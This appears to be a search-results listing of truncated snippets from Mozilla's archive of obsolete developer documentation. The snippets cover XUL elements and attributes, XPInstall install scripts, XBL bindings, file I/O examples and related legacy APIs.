you can enable them by adding include("extensions/exampleext.php"); to the end of your <tt>localsettings.php</tt>.
... for example: [snip] include("extensions/breadcrumbs.php"); include("extensions/titleoverride.php"); include("extensions/abbr.php"); include("extensions/object.php"); include("extensions/kbd.php"); ?> tbd installing/configuring rss and doxygen extensions - anything special needs to be done?
Remote debugging - Archive of obsolete content
core dumps on mac and linux to generate a core dump on mac, type "ulimit -c unlimited", run firefox from the command line, and make firefox crash.
...core dumps on windows on windows you can produce a "minidump".
Safely loading URIs - Archive of obsolete content
so if you're implementing a context menu and you add a "view image" option, the source of the image uri would be the page the image is in, not the chrome document the context menu code is in.
... if you're doing anything else (passing a uri string to some other api like window.open or <img src="">, passing a uri object to an api that loads uri objects, etc.) use whichever method best fits the data you can get your hands on.
String Quick Reference - Archive of obsolete content
old way: use nsautostring and assignwithconversion() nsautostring widestring; widestring.assignwithconversion("some string"); callwidefunction(widestring); // use widestring again, but need a const prunichar* callwidewithflatstring(widestring.get()) nsautostring widestring2; widestring2.assignwithconversion("another string"); callwidefunction(widestring2); new way: use ns_literal_string or ns_named_literal_string // pre-declare the variable if you'll use it multiple times ns_named_literal_string(widest...
...ring, "some string"); callwidefunction(widestring); // use widestring again, but need a const prunichar* callwidewithflatstring(widestring.get()); // inline the string with ns_literal_string callwidefunction(ns_literal_string("another string")); converting literal strings to string objects what: converting from const prunichar*/const char* to the appropriate string type why: avoid making extra copies of strings, just to convert between types!
Tamarin mercurial commit hook - Archive of obsolete content
the hook is located in the tamarin-redux repository in the file utils/hooks/tamarin-commit-hook.py this is a simple mercurial hook that checks the following filetypes ('.cpp', '.h', '.as', '.abs', '.py') for the following: tabs anywhere in the line trailing whitespace windows line endings (\r\n) "mark_security_change" - looks for this text and warns user as security changes should not be checked into the public tamarin-redux repository.
... when a violation is found the following will be displayed: > hg commit -m "change with a tab" tab(s) found in test/test.txt for rev 1458 (change 53543674b8e6): @@ -65,4 +65,6 @@ +# tab here ^ (n)o, (y)es, (a)llow tabs for current file are you sure you want to commit this change?
[Deprecated] The Mozilla build VM - Archive of obsolete content
"good" first bugs may be a little stale, but at some point in their lives we considered that they would be a good first step for newcomers to mozilla.
... we are in the process of migrating these bugs to mentored bugs, but more recent "good first bugs" may be good starting points if there are no appropriate mentored bugs.
Anonymous Content - Archive of obsolete content
a sample xbl binding for the file widget might look as follows: <binding id="fileupload"> <content> <html:input type="text"/> <html:input type="button"/> </content> </binding> because this content is not visible to its parent element, it is said to be anonymous content.
... <xbl:binding id="fileuploadcontrol"> <xbl:content> <html:input type="text" xbl:inherits="value"/> <html:input type="button" value="browse..."/> </xbl:content> </xbl:binding> each entry in the inherits list can either simply list an attribute (such as value in the example above), or it can specify an = separated pair consisting of the attribute on the anonymous content that should be tied to the attri...
DOM Interfaces - Archive of obsolete content
see "not so anonymous nodes" on mozilla.dev.platform for some discussion about this.
... no return value example the following snippet checks to see if any anonymous child of "element" is itself an element.
XBL - Archive of obsolete content
still living "shadow dom" related specs shadow dom (editor's draft) css scoping » shadow encapsulation see also introduction to xbl from the xul tutorial.
... custom xul elements with xbl from the xul school tutorial for add-on developers xbl chapter of "rapid application development with mozilla" xbl 2.0 primer (draft) xbl 2.0 cross-browser implementation in javascript more xbl resources...
File.windowsShortcut - Archive of obsolete content
file.windowsshortcut in this example, the windowsshortcut method is used to add a shortcut in the program directory ("program" is a keyword for the directory in which the program itself is installed, for example, c:\program files\netscape\netscape 6\" on windows) to windows software (misc.exe) that is installed in the "windows" directory.
... var xpisrc = "misc.exe"; var vi = "1.1.1.1"; initinstall( "windows shortcut", "test", vi, 0); f = getfolder("windows"); g = getfolder("temporary"); addfile( "miscshortcut", "2.2.2.2", xpisrc, f, xpisrc, true); target = getfolder(f, xpisrc); shortcutpath = getfolder("program"); err = file.windowsshortcut( target, shortcutpath, "misc shortcut", g, "", target, 0); logcomment("file.windowsshortcut returns: " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
InstallTrigger.installChrome - Archive of obsolete content
when a user clicks the link "install the new blue theme" in the example below, xpinstall downloads, registers, and installs the theme contained in newblue.xpi to the user's profile directory.
... <a href="#" onclick="installtrigger.installchrome( installtrigger.skin, 'http://wildskins/newblue.xpi', 'newblue/1.0');"> install the new blue theme</a> ...
diskSpaceAvailable - Archive of obsolete content
example var diskamtneeded = 10000; f = getfolder("program"); diskspace = file.diskspaceavailable(f); g = getfolder(f, "myfile.txt"); if (diskspace > diskamtneeded) { err = addfile(..., ...
... g, ...); if (err == 0) performinstall(); else cancelinstall(); } else { alert("not enough disk space.
modDateChanged - Archive of obsolete content
example filesource1 = getfolder("program", "file1.txt"); filesource2 = getfolder("program", "file2.txt"); err1 = file.moddate(filesource1); // the baseline returned err2 = file.moddatechanged(filesource1, err1); logcomment("file.moddatechanged should return 'false' = " + err2); // the reason it expects false is we're comparing // the return 'time stamp' value for // file1.txt with the actual file1.txt itself.
... err3 = file.moddatechanged(filesource2, err1); logcomment("file.moddatechanged should return 'true' = " + err2); // the reason it expects true is we're comparing // the return 'time stamp' value for // file1.txt with another file, file2.txt, with a different // 'time stamp' value.
compareTo - Archive of obsolete content
version an installversion object or a string representing version information in the format "4.1.2.1234".
...f installversion.bld_diff installversion.equal installversion.major_diff_minus installversion.minor_diff_minus installversion.rel_diff_minus installversion.bld_diff_minus example this code uses the compareto method to determine whether or not version 3.2.1 of the royal airways software has been previously installed: existingvi = installtrigger.getversion("/royalairways/royalsw"); if ( existingvi.compareto("3.2.1") <= 0 ) { // ...
Properties - Archive of obsolete content
major version of netscape 6 is "6" minor second most siginificant element of the installversion object.e.g.
... minor version of netscape communicator 4.7 is "7" release second least siginificant element of the installversion object.
addFile - Archive of obsolete content
version an installversion object or a string of up to four integer values delimited by periods, such as "1.17.1999.1517".
...example var xpisrc = "file.txt"; initinstall("adding a file", "addfile", "1.0.1.7", 1); f = getfolder("program"); setpackagefolder(f); addfile(xpisrc); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
getWinProfile - Archive of obsolete content
file a relative pathname to an initialization file in the directory specified by the folder parameter, such as "royal/royal.ini".
...example to edit the win.ini file, you would create a winprofile object with this call: var mywinprofileobj = getwinprofile (getfolder("windows"), "win.ini"); ...
initInstall - Archive of obsolete content
when version is a string it should be up to four integer values delimited by periods, such as "1.17.1999.1517".
...example to start installation for the royal airways plug-in, you could use this code: initinstall("royal airways tripplanner","/royalairways/ tripplanner","1.0.0.0"); ...
getString - Archive of obsolete content
method of winprofile object syntax string getstring ( string section, string key); parameters the method has the following parameters: section section in the file, such as "boot" or "drivers".
...example to get the name of the wallpaper file from the desktop section of the win.ini file, use this call: ini = getwinprofile (getfolder("windows"), "win.ini"); var wallpapervalue = ini.getstring ("desktop", "wallpaper"); ...
writeString - Archive of obsolete content
method of winprofile object syntax boolean writestring ( string section, string key, string value); parameters the method has the following parameters: section section in the file, such as "boot" or "drivers".
... example to set the name of the wallpaper file from the desktop section of the win.ini file, use this call: ini = getwinprofile (getfolder("windows"), "win.ini"); ini.writestring ("desktop", "wallpaper", "newpathname"); ...
enumKeys - Archive of obsolete content
method of winreg object syntax string enumkeys ( string key, int subkeyindex ); parameters the enumkeys method has the following parameters: key the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
...var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); var index = 0; var basekey = "software\\mozilla"; while ( (mozillaversion = winreg.enumkeys(basekey,index)) != null ) { logcomment("mozillaversion = " + mozillaversion); subkey = basekey + "\\" + mozillaversion + "\\extensions"; pluginsdir = winreg.getvaluestring ( subkey, "plugins" ); if ( pluginsdir ) logcomment("pluginsdir = " + pluginsdir); else logcomment("no plugins dir for " + basekey + "\\" + mozilla...
enumValueNames - Archive of obsolete content
method of winreg object syntax string enumvaluenames ( string key, int subkeyindex ); parameters the enumvaluenames method has the following parameters: key the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
...var winreg = getwinregistry(); winreg.setrootkey(winreg.hkey_local_machine); v1 = winreg.enumvaluenames("software\\mozilla\\", 0); logcomment("the first subkey value of the mozilla key: " + v1) ...
XPInstall - Archive of obsolete content
<?xml version="1.0" encoding="utf-8"?> <rdf xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <description about="urn:mozilla:install-manifest"> <!-- properties --> </description> </rdf> cross-platform install (xpinstall) is a technology used by mozilla application suite, mozilla firefox, mozilla thunderbird and other xul-based applications for installing ...
...an xpi (pronounced "zippy" and derived from xpinstall) installer module is a zip file that contains an install script or manifest (entitled install.js or install.rdf) at the root of the file.
XTech 2005 Presentations - Archive of obsolete content
web 1.6: a rope of sand - opening keynote, mike shaver mozilla e4x - brendan eich "ecmascript for xml" (ecma-357), a new standard for writing and processing xml directly in javascript (ecma-262, iso-16262).
...work is also underway "under the hood" on a new unified graphics architecture that uses 3d graphics processors to accelerate all rendering.
closebutton - Archive of obsolete content
« xul reference home closebutton obsolete since gecko 1.9.2 type: boolean if this attribute is set to true, the tabs row will have a "new tab" button and "close" button on the ends.
...you can set an image to the "new tab" and "close" buttons by applying them to the tabs-newbutton and tabs-closebutton classes respectively.
label - Archive of obsolete content
see also treeitem.label, <label> element examples in javascript <label value="whaw" id="the-big-label" command="the-big-button"/> <button id="the-big-button" label="click me" oncommand="alert(document.getelementbyid('the-big-label').value)"/> <label id="mylabel" value="my label"/> <button label="click me" oncommand="document.getelementbyid('mylabel').setattribute('value','value changed');" /> <checkbox label="my checkbox" id="mycheckbox"/> <button label="another click" oncommand="document.getelementbyid('myc...
...heckbox').setattribute('label','still not checked');"/> <button label="show label of checkbox" oncommand="alert( document.getelementbyid('mycheckbox').getattribute('label') )"/> ...
mousethrough - Archive of obsolete content
child elements may override this if they specify mousethrough="never".
... <stack> <button label="below"/> <image src="happy.png" mousethrough="always"/> </stack> ...
onchange - Archive of obsolete content
window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="text/javascript"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </script> ...
...<textbox id="find-text" onchange="return myfunction(event);"/> </window> ...
pending - Archive of obsolete content
you can determine if a tab is being restored by checking to see if hasattribute("pending") is true.
... if the user has turned on the "don't load tabs until selected" preference, the pending attribute is set on tabs until they get loaded.
popupalign - Archive of obsolete content
noneno aligntopleftalign to the top left cornertoprightalign to the top right cornerbottomleftalign to the bottom left cornerbottomrightalign to the bottom right cornersyntax<element popupalign="none | topleft | topright | bottomleft | bottomright"/> example<element id="edit-context" popup="editor-popup" popupanchor="topleft" popupalign="bottomright"/> notesthe popupalign attribute can be used to specify which corner of the popup content is tied to the originating point.
...the default value for both popupanchor and popupalign is "none." ...
popupanchor - Archive of obsolete content
« xul reference homepopupanchortype: one of the values belowpopupanchor is an optional attribute for specifying where popup content should be anchored on the element.noneno anchortopleftanchor to the top left cornertoprightanchor to the top right cornerbottomleftanchor to the bottom left cornerbottomrightanchor to the bottom right cornersyntax<element popupanchor="none | topleft | topright | bottomleft | bottomright" /> example<element id="edit-context" popup="editor-popup" popupanchor="topleft" popupalign="bottomright" /> notesthe popupanchor attribute can be used to specify that the popup content should come up anchored to one of the four corners of the content object (e.g., the button popping up the content).
...the default value for both popupanchor and popupalign is "none." ...
spellcheck - Archive of obsolete content
--> <input type="text" spellcheck="true" /><br /> <textarea spellcheck="true"></textarea> <div contenteditable="true" spellcheck="true">i am some content</div> <!-- spellcheck nothing!
... --> <input type="text" spellcheck="false" /><br /> <textarea spellcheck="false"></textarea> <div contenteditable="true" spellcheck="false">i am some content</div> you can use spellcheck on input, textarea, and contenteditable elements.
substate - Archive of obsolete content
« xul reference home substate type: one of the values below on splitters which have state="collapsed" and collapse="both", determines which direction the splitter is actually collapsed in.
... since collapse="both" is a gecko 1.9+ feature, this will have no effect on earlier versions.
textbox.type - Archive of obsolete content
if you have <binding id="input" extends="chrome://global/content/bindings/autocomplete.xml#autocomplete" >, then the textbox will have autocomplete type, regardless of tree's 'type' attribute.
... use <binding extends="chrome://global/content/bindings/textbox.xml#textbox" > for ordinary textbox.
treecol.editable - Archive of obsolete content
« xul reference home editable type: boolean allows the contents of cells in the column to be changed, especially useful when type="checkbox".
...individual treecell elements in the column may be marked editable="false" in order to disable editing.
value - Archive of obsolete content
be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...for those elements, setattribute("value", myvalue) and getattribute("value") do not access or affect the contents displayed to the user.
width - Archive of obsolete content
<hbox> <hbox width="40" style="background-color: red;"> <label value="40"/> </hbox> </hbox> however, in the following example, despite that the preferred width of the box is 30 pixels, the displayed size of the box will be larger to accommodate the larger label.
... <vbox width="30" align="start" style="background-color: red;"> <label value="vbox xul width 10px red"/> </vbox> note: when used on treecol objects, the width attribute can be used to allow a tree to be scrolled horizontally if the column widths add up to be wider than the containing object.
Accessing Files - Archive of obsolete content
var file = io.getfile("profile", "sample.txt"); the nsiscriptableio object is a global object always available within an application or extension which provides a number of useful functions for dealing with files.
...var file = io.getfile("profile", "sample.txt"); if (file.exists()) alert("the file is there!"); else alert("file not found!"); here, the same file is retrieved and a further check is performed to see whether the file is present or not.
Getting File Information - Archive of obsolete content
var filesize = 0; var file = io.getfile("desktop", "saved file"); if (file.exists()) filesize = file.filesize; it is also possible to modify the size of a file by setting the filesize (nsifile.attributes) attribute to a value.
... if (!file.iswritable()) throw "file cannot be modified"; if you aren't sure whether a file can be modified, for example, you may wish to check using nsifile.iswritable() first.
Uploading and Downloading Files - Archive of obsolete content
the formdata object can then simply be passed to xmlhttprequest: function upload(posturl, fieldname, filepath) { var formdata = new formdata(); formdata.append(fieldname, new file(filepath)); var req = new xmlhttprequest(); req.open("post", posturl); req.onload = function(event) { alert(event.target.responsetext); }; req.send(formdata); } http put you can also upload a file using an http put operation.
... function uploadput(posturl, filepath) { var req = new xmlhttprequest(); req.open("put", posturl); req.setrequestheader("content-type", "text/plain"); req.onload = function(event) { alert(event.target.responsetext); } req.send(new file(filepath)); } in this example, a new input stream is created for a file, and is passed to the xmlhttprequest's send method.
IO - Archive of obsolete content
ArchiveMozillaXULFileGuideIO
var file = io.getfile("profile", "sample.txt"); the nsiscriptableio object is a global object always available within an application or extension.
...var file = io.getfile("profile", "subdirname"); for more information about using directories, see working with directories.
International characters in XUL JavaScript - Archive of obsolete content
for example, they can contain a line: var text = "ein schönes beispiel eines mehrsprachigen textes: 日本語"; this mixes german and japanese characters.
...however, you can use unicode escapes – the earlier example rewritten using them would be: var text = "ein sch\u00f6nes beispiel eines mehrsprachigen textes: \u65e5\u672c\u8a9e"; an alternative might be to use property files via nsistringbundle or the xul <stringbundle> element; this would allow for localization of the xul.
onFindAgainCommand - Archive of obsolete content
« xul reference home onfindagaincommand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" commands.
... you should specify true as the input parameter to perform a "find previous" operation, or false to perform a "find next." example typically, you'll simply bind this method to your "find next" and "find previous" commands, like this: <command name="cmd_find_previous" oncommand="gfindbar.onfindagaincommand(true);"/> <command name="cmd_find_next" oncommand="gfindbar.onfindagaincommand(false);"/> ...
startFind - Archive of obsolete content
« xul reference home startfind( mode ) return type: no return value call this method to handle your application's "find" command.
... example typically, you'll simply bind this method to your "find" command, like this: <command name="cmd_find" oncommand="gfindbar.startfind(gfindbar.find_normal);"/> ...
insertItemAt - Archive of obsolete content
note: you cannot insert an item to an index that does not exist, eg: trying to insert an item at the end with element.getrowcount() + 1 example <!-- this example inserts at the selected item or appends, then selects the newly created item --> <script language="javascript"> function insertitemtolist(){ var mylistbox = document.getelementbyid('mylistbox'); // create a date to get some labels and values var somedate = new date(); if(mylistbox.selectedindex == -1){ // no item was selected in list so append to the end mylistbox.appenditem( somedate.tolocaletimestring(), somedate.gettime() ); var newindex = mylistbox...
....getrowcount() -1 }else{ // item was selected so insert at the selected item var newindex = mylistbox.selectedindex; mylistbox.insertitemat(newindex, somedate.tolocaletimestring(), somedate.gettime()); } // select the newly created item mylistbox.selectedindex = newindex; } </script> <button label="insert item at selected" oncommand="insertitemtolist()"/> <listbox id="mylistbox"> <listitem label="foo"/> </listbox> see also appenditem() removeitemat() ...
removeItemAt - Archive of obsolete content
<script language="javascript"> function removeselecteditem(){ var mylistbox = document.getelementbyid('mylistbox'); if(mylistbox.selectedindex == -1){ return; // no item selected so return }else{ mylistbox.removeitemat(mylistbox.selectedindex); } } function removeallitems(){ var mylistbox = document.getelementbyid('mylistbox'); var count = mylistbox.itemcount; while(count-- > 0){ mylistbox.removeitemat(0); } } </script> <button label="remove selected item" oncommand="removeselecteditem()"/> <button label="remove all items" oncommand="...
...removeallitems()"/> <listbox id="mylistbox"> <listitem label="alpha"/> <listitem label="beta"/> <listitem label="oscar"/> <listitem label="foxtrot"/> </listbox> see also removeallitems() insertitemat() ...
Special per-platform menu considerations - Archive of obsolete content
for instance, on windows, the menu item which exits the application is labeled "exit" and is normally placed at the end of the file menu.
... here is an example: <menubar> <menu label="tools"> <menupopup> <menuitem label="spell check"/> <menuitem id="menu_preferences" label="preferences" oncommand="window.opendialog('options.xul', '_new', 'chrome');"/> </menupopup> </menu> </menubar> this menu item will be placed on the application menu on the macintosh but left in the tools menu on other platforms.
PopupKeys - Archive of obsolete content
note that the last argument here is true to listen for events during the capturing phase of event propagation: window.addeventlistener("keypress", someaction, true); however, the default listener provides all the suitable responses to keys, so there shouldn't be a need to handle keys yourself.
... <panel ignorekeys="true"> in this case, none of the key handling described above is performed.
controllers - Archive of obsolete content
example <window id="controller-example" title="controller example" onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script> function init() { var list = document.getelementbyid("thelist"); var listcontroller = { supportscommand : function(cmd){ return (cmd == "cmd_delete"); }, iscommandenabled : function(cmd){ if (cmd == "cmd_delete") return (list.selecteditem != null); return false; }, docommand : function(cmd){ ...
... list.removeitemat(list.selectedindex); }, onevent : function(evt){ } }; list.controllers.appendcontroller(listcontroller); } </script> <listbox id="thelist"> <listitem label="ocean"/> <listitem label="desert"/> <listitem label="jungle"/> <listitem label="swamp"/> </listbox> </window> ...
currentSet - Archive of obsolete content
for spacers, separators, and flexible spacers the following strings are used instead of ids: "spacer", "separator", "spring".
... an empty toolbar has a currentset value of "__empty".
disabled - Archive of obsolete content
<!-- checkbox enables/disables the button --> <checkbox label="enable button" oncommand="document.getelementbyid('buttremove').disabled = !
... this.checked"/> <button id="buttremove" label="remove all" disabled="true"/> ...
Notes - Archive of obsolete content
implementing an nsicommandlinehandler on windows may trigger a bug that causes an error message ("windows cannot find the file specified") to be displayed when opening external links (like from a shortcut or from an external application).
... deleting the "(default)" values in the following registry keys will fix this: hkey_classes_root\http\shell\open\ddeexec hkey_classes_root\https\shell\open\ddeexec you can also do this from within your xpcom component using windows registry interface.
Namespaces - Archive of obsolete content
for example using the following xml document containing a list of people: <people xmlns="www.example.com/people"> <person name="napoleon bonaparte" gender="male"/> <person name="cleopatra" gender="female"/> <person name="julius caesar" gender="male"/> <person name="ferdinand magellan" gender="male"/> <person name="laura secord" gender="female"/> </people> <listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <action> <listitem uri="?" label="?ns:name"/> </action> </template> </listbox> once added to the template element the namespaces can then be referenced inside temp...
...<listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <rule ns:gender="male"> <label uri="?" label="?ns:name"/> </action> </template> </listbox> ...
Rule Compilation - Archive of obsolete content
<vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" flex="1"> <template> <query> -- query content goes here -- </query> <rule> -- rule content goes here -- </rule> <rule> -- rule content goes here -- </rule> </template> </vbox> query/rule compilation and lazy content generation when the template builder starts process...
...for instance, consider the example below: <vbox datasources="http://www.xulplanet.com/ds/sample.rdf" ref="http://www.xulplanet.com/rdf/a" hidden="true"> <template> ...
Toolbar customization events - Archive of obsolete content
beforecustomization this event is delivered when the user starts the toolbar customization process; for example, by right-clicking on a toolbar and choosing "customize".
...window.addeventlistener("beforecustomization", customizestart, false); window.addeventlistener("aftercustomization", customizeend, false); window.addeventlistener("customizationchange", customizechange, false); function customizestart(e) { let thetoolbox = e.target; /* now we know the user has started customizing */ } function customizeend(e) { let thetoolbox = e.target; /* the user has finished customizing */ }...
Additional Install Features - Archive of obsolete content
the following code will make a copy of the file "/bin/grep" and put it in the directory "/main".
... var binfolder = getfolder("file:///","bin"); var grep = getfolder(binfolder, "grep"); var mainfolder = getfolder("file:///", "main"); file.copy(grep, mainfolder); the first line will retrieve a reference to the /bin directory.
Creating an Installer - Archive of obsolete content
here is an example: function donefn ( name , result ){ alert("the package " + name + " was installed with a result of " + result); } var xpi = new object(); xpi["calendar"] = "calendar.xpi"; installtrigger.install(xpi,donefn); first, we define a callback function donefn() which will be called when the install is complete.
... function donefn ( name , result ){ if (result) alert("an error occured: " + result); } var xpi = new object(); xpi["find files"] = "findfile.xpi"; installtrigger.install(xpi,donefn); the xpi archive note: if you want to create a new xulrunner application, extension, or theme, see bundles.
Open and Save Dialogs - Archive of obsolete content
var nsifilepicker = components.interfaces.nsifilepicker; var fp = components.classes["@mozilla.org/filepicker;1"].createinstance(nsifilepicker); fp.init(window, "select a file", nsifilepicker.modeopen); first, a new file picker object is created and stored in the variable 'fp'.
...if you would like to filter for custom files, you can use the appendfilter() function to do this: fp.appendfilter("all files" ,"*.*"); fp.appendfilter("audio files (*.wav, *.mp3)","*.wav; *.mp3"); this line will add a filter for wave and mp3 audio files.
Persistent Data - Archive of obsolete content
for example, to save the size of a window, you would do the following: <window id="somewindow" width="200" height="300" persist="width height" .
... <window id="findfile-window" title="find files" persist="screenx screeny width height" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> this will cause the x and y position of the window and the width and height of the window to be saved.
Simple Menu Bars - Archive of obsolete content
example of a simple menu bar example 1 : source view <toolbox flex="1"> <menubar id="sample-menubar"> <menu id="file-menu" label="file"> <menupopup id="file-popup"> <menuitem label="new"/> <menuitem label="open"/> <menuitem label="save"/> <menuseparator/> <menuitem label="exit"/> </menupopup> </menu> <menu id="edit-menu" label="edit"> <menupopup id="edit-popup"> <menuitem label="undo"/...
...> <menuitem label="redo"/> </menupopup> </menu> </menubar> </toolbox> here, a simple menu bar is created using the menubar element.
Toolbars - Archive of obsolete content
a simple toolbar inside a toolbox source view <toolbox> <toolbar id="nav-toolbar"> <toolbarbutton label="back"/> <toolbarbutton label="forward"/> </toolbar> </toolbox> this has created a toolbar containing two buttons, a back button and a forward button.
... <vbox flex="1"> <toolbox> <toolbar id="findfiles-toolbar"> <toolbarbutton id="opensearch" label="open"/> <toolbarbutton id="savesearch" label="save"/> </toolbar> </toolbox> <tabbox> a toolbar with two buttons has been added here.
Tree Selection - Archive of obsolete content
<tree id="treeset" onselect="alert('you selected something!');"> tree indices the tree has a property currentindex, which can be used to get the currently selected item, where the first row is 0.
... getrangeat example var start = new object(); var end = new object(); var numranges = tree.view.selection.getrangecount(); for (var t = 0; t < numranges; t++){ tree.view.selection.getrangeat(t,start,end); for (var v = start.value; v <= end.value; v++){ alert("item " + v + " is selected."); } } we create two objects called 'start' and 'end'.
XBL Inheritance - Archive of obsolete content
example 1 : source <binding id="textboxwithhttp" extends="chrome://global/content/bindings/textbox.xml#textbox"> <handlers> <handler event="keypress" keycode="vk_f4"> this.value="http://www"+value; </handler> </handlers> </binding> the xbl here extends from the xul textbox element.
...<textbox type="autocomplete" searchsessions="history"/> set the type to autocomplete to add the autocomplete feature to an existing textbox.
Urlbar-icons - Archive of obsolete content
(the url bar is also known as the address bar and the navigation bar.) example the default contents of browser.xul: <hbox id="urlbar-icons"> <button be="" chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location...
...="" onclick="handleurlbarcommand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
XUL Parser in Python/source - Archive of obsolete content
import sys, glob, xmllib import os, re el_list = {} w = open('res.html', 'w') # unfortunately, i had to put this hack in here to suppress the printing out of the resolved namespace: # "xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul window", etc.
... os.chdir(chrome_dir) files = os.popen(cmd).readlines() for file in files: file = file.strip() print '** ' + file + ' **' data = open(file).read() p.feed(data) w.write('<html><h3>periodic table of xul elements</h3>') w.write('<table><style>.head {font-weight: bold; background-color: lightgrey;}</style>') elements = el_list.keys() elements.sort() for item in elements: w.write('<tr><td class="head">' + item + '</td></tr>\n') for a in el_list[item]: w.write('<tr><td class="at">' + a + '</td>') w.write('</table></html>\n') w.close() ...
XUL element attributes - Archive of obsolete content
child elements may override this if they specify mousethrough="never".
...in order to revert to the normal cursor state call the method removeattribute("wait-cursor") when the process effectively has ended otherwise the wait cursor might never disappear.
arrowscrollbox - Archive of obsolete content
attributes clicktoscroll, disabled, smoothscroll, tabindex properties disabled, scrollboxobject, scrollincrement, smoothscroll, tabindex methods ensureelementisvisible, scrollbyindex, scrollbypixels examples <arrowscrollbox orient="vertical" flex="1"> <button label="red"/> <button label="blue"/> <button label="green"/> <button label="yellow"/> <button label="orange"/> <button label="silver"/> <button label="lavender"/> <button label="gold"/> <button label="turquoise"/> <button label="peach"/> <button label="maroon"/> <button label="black"/> </arrowscrollbox> attributes inherited from xul element...
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
caption - Archive of obsolete content
attributes accesskey, crop, image, label, tabindex properties accesskey, crop, image, label, tabindex examples <groupbox> <caption label="my groupbox"/> </groupbox> <groupbox flex="1"> <caption> <checkbox label="a checked groupbox"/> </caption> </groupbox> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
checkbox - Archive of obsolete content
attributes accesskey, checked, command, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, command, crop, disabled, src, label, tabindex examples <checkbox label="enable javascript" checked="true"/> <checkbox label="enable java" checked="false"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
command - Archive of obsolete content
see also: command attribute, commandset element attributes disabled, label, oncommand,reserved examples the following code will send a paste command (cmd_paste) to the currently focused element: // first include chrome://global/content/globaloverlay.js godocommand("cmd_paste"); example with two buttons <commandset><command id="cmd_openhelp" oncommand="alert('help');"/></commandset> <button label="help" command="cmd_openhelp"/> <button label="more help" command="cmd_openhelp"/> attributes disabled type: boolean indicates whether the element is disabled or not.
... setting this attribute to "true" indicates that the command is reserved for chrome code and is not available for use in the content.
content - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] Éste elemento debería pertenecer a query ("consulta").
...cuando use un árbol con los atributos flags ("banderas"), establezca dont-build-content, ("no almacenar contenido"), use treeitem en su lugar.
datepicker - Archive of obsolete content
attributes disabled, firstdayofweek, readonly, type, tabindex, value properties date, dateleadingzero, datevalue, disabled, month, monthleadingzero, open, readonly, tabindex, value, year, yearleadingzero examples <datepicker type="grid" value="2007-03-26"/> attributes disabled type: boolean indicates whether the element is disabled or not.
...the tab order is the order in which the focus is moved when the user presses the "tab" key.
editor - Archive of obsolete content
attributes editortype, src, type properties accessibletype, commandmanager, contentdocument, contentwindow, docshell, editingsession, editortype, webbrowserfind, webnavigation methods geteditor, gethtmleditor, makeeditable examples this example shows how to made the editor editable by setting the designmode property of the loaded html document: <script language="javascript"> function initeditor(){ // this function is called to set up the editor var editor = document.getelementbyid("myeditor"); editor.contentdocument.designmode = 'on'; } </script> <editor id="myeditor" editortype="html" src="about:blank" flex="1" type="content-primary"/> once editable, the document can have special formatting and other html pieces added to it using the document.exe...
...ccommand method: var editor = document.getelementbyid("myeditor"); // toggle bold for the current selection editor.contentdocument.execcommand("bold", false, null); see the midas overview for more command strings.
grid - Archive of obsolete content
ArchiveMozillaXULgrid
the second column is twice as big as the first column --> <groupbox> <caption label="details"/> <grid> <columns> <column flex="1"/> <column flex="2"/> </columns> <rows> <row> <label value="user name"/> <textbox id="user"/> </row> <row> <label value="group"/> <menulist> <menupopup> <menuitem label="accounts"/> <menuitem label="sales" selected="true"/> <menuitem ...
...label="support"/> </menupopup> </menulist> </row> </rows> </grid> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , coll...
iframe - Archive of obsolete content
this can be a serious security vulnerability, for example if you use src="http://...".
